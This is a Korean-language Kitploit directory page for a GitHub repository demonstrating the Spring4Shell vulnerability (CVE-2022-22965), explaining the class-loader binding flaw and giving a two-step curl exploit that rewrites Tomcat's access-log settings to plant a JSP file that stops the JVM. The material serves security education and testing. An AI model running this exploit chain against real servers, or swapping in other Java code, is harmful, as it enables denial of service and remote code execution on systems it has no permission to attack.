Skip to content
KitploitKITPLOIT
도구블로그
제출
도구블로그
제출

해킹, 침투 테스트 및 사이버 보안 도구를 당신의 보안 무기고에!

Kitploit은 해킹, 사이버 보안 및 침투 테스트 도구 디렉토리입니다. 최신 프로젝트 업데이트를 발견하여 취약점을 찾고, 시스템을 분석하고, 테스트를 자동화하고, 보안을 강화하세요.

··피드·문의·개인정보·© 2026 Kitploit

도구 디렉토리

카테고리

모든 카테고리 보기
Loading categories
cve-2022-22965 — 최소한의 Spring4Shell (CVE-2022-22965) 취약점 악용 데모: Tomcat을 대상으로 클래스 로더 조작을 통해, 교육용 침투 테스트를 위한 단계별 curl 기반 공격 체인 포함. | Kitploit
도구/GitHubGitHub/mwojterski/cve-2022-22965
Payload GenerationVulnerability AnalysisExploitationWeb Application ExploitationPenetration TestingLearning & Education
GitHubmwojterski/cve-2022-22965

cve-2022-22965

최소한의 Spring4Shell (CVE-2022-22965) 취약점 악용 데모: Tomcat을 대상으로 클래스 로더 조작을 통해, 교육용 침투 테스트를 위한 단계별 curl 기반 공격 체인 포함.

저장소 보기
24년 전아직 검토되지 않음

인기

모두 보기 →

커뮤니티에서 가장 많이 사용되는 도구를 찾아보세요.

모든 도구 탐색

도구 컬렉션을 둘러보세요

모든 도구 보기 →
공유

최소 CVE-2022-22965 예제

현재 시점에서 spring-web 요청 파라미터 바인딩(WebDataBinder)은 기본적으로 객체의 getClass() 메서드에 접근하는 것을 허용합니다. 이것은 JVM 내부 구현 세부 사항입니다(개인적으로는 노출되어서는 안 된다고 생각합니다). 따라서 그 기능은 JVM의 향후 버전에서 변경되고 확장될 수 있습니다. 이는 유지 관리자들에게 지속적인 부담이 되어, 악의적인 행위자가 그 강력한 접근을 사악한 방식으로 활용할 수 있는 창의적인 방법을 예측해야 합니다.

이 특정 CVE에서 원인은 Java 9에서 도입된 Class::getModule() 메서드였습니다. 이 메서드는 보호되지 않은 클래스로더 접근을 열어주었습니다.

아래 예제에서 공격자는 이를 사용하여 Tomcat의 액세스 로거를 재구성합니다. 일반적으로 서버가 수신한 각 요청에 대한 간단한 정보를 로그 파일에 기록합니다. pattern 속성은 기록되는 정보를 정의하고, directory는 로그 파일이 위치할 디렉토리, prefix, fileDateFormat, suffix는 파일 이름을 정의합니다.

다음 요청은 취약한 poc-0 애플리케이션의 POST 엔드포인트를 대상으로 합니다. 이 요청은 로거를 재구성하여 처리되는 모든 요청에 대해 <%{e}iSystem.exit(0);%{e}i> 줄을 webapps/ROOT 디렉토리의 f.jsp 파일에 기록하도록 합니다. 여기서 %{e}i는 요청 헤더 e의 값을 위한 자리 표시자입니다.

이것은 로거의 예상치 못한/창의적인 사용이며, 나머지는 표준 JSP 및 Tomcat 애플리케이션 서버의 동작입니다.

root@kitploit:~
curl -v -H 'e:%' \
-d 'class.module.classLoader.resources.context.parent.pipeline.first.pattern=<%25%7be%7diSystem.exit(0);%25%7be%7di>' \
-d 'class.module.classLoader.resources.context.parent.pipeline.first.directory=webapps/ROOT' \
-d 'class.module.classLoader.resources.context.parent.pipeline.first.prefix=f' \
-d 'class.module.classLoader.resources.context.parent.pipeline.first.fileDateFormat=' \
-d 'class.module.classLoader.resources.context.parent.pipeline.first.suffix=.jsp' \
http://container-ip:8080/poc-0/

잠시 후 f.jsp 파일이 생성되고, Tomcat에서 인식하여 컴파일하고 트래픽을 제공하기 위해 노출됩니다. 다음 요청이 이를 호출하며, 임베디드된 System.exit(0); 코드를 실행하고 실행 중인 JVM을 중지합니다.

root@kitploit:~
curl -v http://container-ip:8080/f.jsp

이것은 DoS의 예시이지만, System.exit(0);는 일반적인 Java 코드이므로 공격자는 훨씬 더 많은 작업을 수행할 수 있습니다.

도구 다운로드